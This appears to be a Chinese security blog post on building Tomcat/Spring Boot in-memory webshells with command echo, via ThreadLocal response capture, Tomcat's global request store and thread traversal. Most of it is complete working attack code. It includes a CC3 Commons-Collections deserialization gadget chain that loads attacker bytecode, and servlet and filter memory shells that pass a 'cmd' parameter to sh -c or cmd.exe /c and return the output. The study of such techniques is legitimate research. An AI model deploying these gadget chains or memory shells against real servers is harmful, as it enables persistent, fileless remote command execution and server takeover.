回顾JSP马

详情见:https://www.cnblogs.com/F12-blog/p/18111253

之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。

但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。

其实主要要解决的问题就是如何获取 request 和 response 对象。

目前主流的回显技术(部分)主要有:

  • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。

    限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰
  • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)

    限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
  • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象

    限制:会导致http包超长,但相对比较通用。

ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。

举个例子

package org.example;

import java.util.concurrent.TimeUnit;

public class NumUtil {
public static int addNum = 0;
public static int add10(int num) throws InterruptedException {
addNum = num;
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e){
e.printStackTrace();
}
return addNum + 10;
}
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; public class threadDemo {
public static void main(String[] args) {
ExecutorService executorService = Executors.newFixedThreadPool(20);
for(int i=0;i<20;i++){
int num = i;
executorService.execute(()->{
try {
System.out.println(num+":"+NumUtil.add10(num));
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
}
executorService.shutdown();
}
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29

一个利用线程来进行对addNum加数的操作,这结果是不是看着怪怪的,全是29。

这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29这样的数字,其他结果也是同样的道理

解决方法有很多,其中一种就是运用ThreadLocal创建独立的线程变量域:

将之前的工具类改为:

public class NumUtil {

    private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

    public static int add10(int num) {
addNumThreadLocal.set(num);
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
return addNumThreadLocal.get() + 10;
}
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; public class threadDemo {
public static void main(String[] args) {
ExecutorService executorService = Executors.newFixedThreadPool(20);
for(int i=0;i<20;i++){
int num = i;
executorService.execute(()->{
System.out.println(num+":"+NumUtil.add10(num));
});
}
executorService.shutdown();
}
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15

这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了



可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequestlastServicedResponse,分别都是ThreadLocal类型:



internalDoFilter方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response

Springboot版本问题

springboot2和springboot3,它们的if条件不同

springboot2:



springboot3:

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的



modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16

JDK版本问题

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers

所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11

初步构造回显

package com.example.springboot2.controller;

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier; @Controller
public class echoshell {
@RequestMapping("/normal")
@ResponseBody
public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
//反射获取3个属性
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
//去除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
//设置private可访问可修改
modifiersField.setAccessible(true);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
//反射修改lastServiceresponse和lastservicerequest属性的值
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
//修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
//第一次进入时为false和null
if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
System.out.println("in");
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
//第二次进入时就进入了if赋值为了request和response,因此进入else
else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext();
System.out.println(servletContext);
System.out.println(servletRequest); }
return "nothing";
}
}

访问两次成功获取ServletContextrequest

反序列化注入Servlet内存马

准备一个CC3的环境的springboot2,写一个反序列化入口

package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64; @Controller
public class echoshell {
@RequestMapping("/normal")
@ResponseBody
public void hello(HttpServletRequest request) throws IOException {
System.out.println("in");
byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
try{
System.out.println(objectInputStream.readObject());
} catch (ClassNotFoundException e){
e.printStackTrace();
}
}
}

准备内存马:

package com.example.springboot2.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext; import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner; public class shellcode extends AbstractTranslet implements Servlet{ static {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符,设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get(); ServletContext servletContext = servletRequest.getServletContext(); if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null; // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext); if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
} //自定义servlet
Servlet servlet = new shellcode(); //用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet); //向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name); }
}
} catch (Exception e) {
e.printStackTrace();
} } @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override
public void init(ServletConfig servletConfig) throws ServletException { } @Override
public ServletConfig getServletConfig() {
return null;
} @Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
} @Override
public String getServletInfo() {
return null;
} @Override
public void destroy() { }
}

cc3:

package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map; public class CC3 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc3.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
} return null;
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "1");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
byte[][] code = {bytes};
_bytecodes.set(templates, code);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);
serialize(o);
System.out.println(encryptToBase64("cc3.bin"));
// deserialize("cc3.bin");
// Map<Object, Object> map = new HashMap<>();
// Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(tiedMapEntry, null);
// map.remove(null);
// Field factory = LazyMap.class.getDeclaredField("factory");
// factory.setAccessible(true);
// factory.set(lazymap, chainedTransformer);
// serialize(hashMap);
// deserialize("cc3.bin");
}
}

访问两次,虽然会报错,但是能成功注入内存马

局限性

上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制

基于Tomcat全局存储进行回显

通杀某些版本

流程分析

还是起个springboot,简单写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,其中的request和response都来自父类AbstractProcessor



往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor

继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中



这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint其中的Handler接口:

思路图如下:



所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:



protocolHandlerAbstractProtocol的继承关系图如下:



并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:



后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

WebappClassLoaderBase -->
resources(StandardRoot) -->
context(StandardContext) -->
context(ApplicationContext) -->
service(StandardService) -->
connectors(Connector[]) -->
protocolHandler(ProtocolHandler) -->
(转型)protocolHandler(AbstractProtocol) -->
(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
global(RequestGroupInfo) -->
processors(ArrayList) -->
requestInfo(RequestInfo) -->
req(org.apache.coyote.Request) --getNote-->
request(org.apache.connector.Request) -->
response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者

内存马回显构造

package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner; @WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
String cmd = null;
try {
WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = loader.getResources().getContext();
// 获取 ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
// 获取 StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext); // 获取 Connector 并筛选 HTTP Connector
Connector[] connectors = standardService.findConnectors();
for (Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
// 获取 AbstractProtocol 对象
AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler(); // 获取 AbstractProtocol$ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol); // global(RequestGroupInfo)
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler); // processors (ArrayList)
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global); for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
// 依据 QueryString 获取对应的 RequestInfo
if (requestInfo.getCurrentQueryString().contains("cmd")) {
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// org.apache.coyote.Request
Request requestTemp = (Request) reqField.get(requestInfo);
// org.apache.catalina.connector.Request
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1); // 执行命令
cmd = request.getParameter("cmd");
String[] cmds = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("//A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = request.getResponse().getWriter();
writer.write(output);
writer.flush();
writer.close(); break;
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
} chain.doFilter(request1, response1);
}
}

主类记得加上扫描注解

package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan; @SpringBootApplication
@ServletComponentScan
public class Springboot2Application { public static void main(String[] args) {
SpringApplication.run(Springboot2Application.class, args);
} }

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄

通过遍历进程来获取Context

package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner; public class Tomcat6789 extends AbstractTranslet implements Servlet {
public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try { declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
} public Tomcat6789() {
} @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static {
String uri = "";
String serverName = "";
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) { if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
} try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next(); Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
serverName = (String) getField(serverNameMB, "strValue");
if (serverName == null){
serverName = serverNameMB.toString();
}
if (serverName == null){
serverName = serverNameMB.getString();
} org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
uri = (String) getField(uriMB, "strValue");
if (uri == null){
uri = uriMB.toString();
}
if (uri == null){
uri = uriMB.getString();
}
}
}
Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads2) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){}
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
} children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(serverName); children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
Servlet myServlet = new Tomcat6789();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName("xxx");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(myServlet);
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell", "xxx");
}
}
}
} @Override
public void init(ServletConfig servletConfig) throws ServletException { } @Override
public ServletConfig getServletConfig() {
return null;
} @Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
//普通回显
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
} @Override
public String getServletInfo() {
return null;
} @Override
public void destroy() { }
}

这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....

Tomcat内存马回显的更多相关文章

  1. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. Java安全之基于Tomcat的通用回显链

    Java安全之基于Tomcat的通用回显链 写在前面 首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力.其次是回顾下反射中有关Field类的一些操作. * Field[] ...

  3. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  4. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  5. Tomcat 内存马(一)Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  6. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  7. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  8. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  9. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  10. Java安全之Weblogic内存马

    Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...

随机推荐

  1. Aop @AfterReturning因返回类型不一致导致无法执行切面代码

    要做返回异常之后,所有操作回滚的操作,本来想着泛型用 Object 就表示所有返回类型是 CommonResult 并且加指定注解的都走这个通知的代码,但是如下配置,无论如何也不生效 进入源码里发现, ...

  2. python Apscheduler持久化

    from pytz import utc from apscheduler.schedulers.background import BackgroundScheduler from apschedu ...

  3. Java新建一个子线程异步运行方法

    如何在运行主方法的同时异步运行另一个方法,我是用来更新缓存: 1. 工具类 public class ThreadPoolUtils { private static final Logger LOG ...

  4. 【Azure 应用服务】Azure Function 部署槽交换时,一不小心把预生产槽上的配置参数交换到生产槽上,引发生产错误

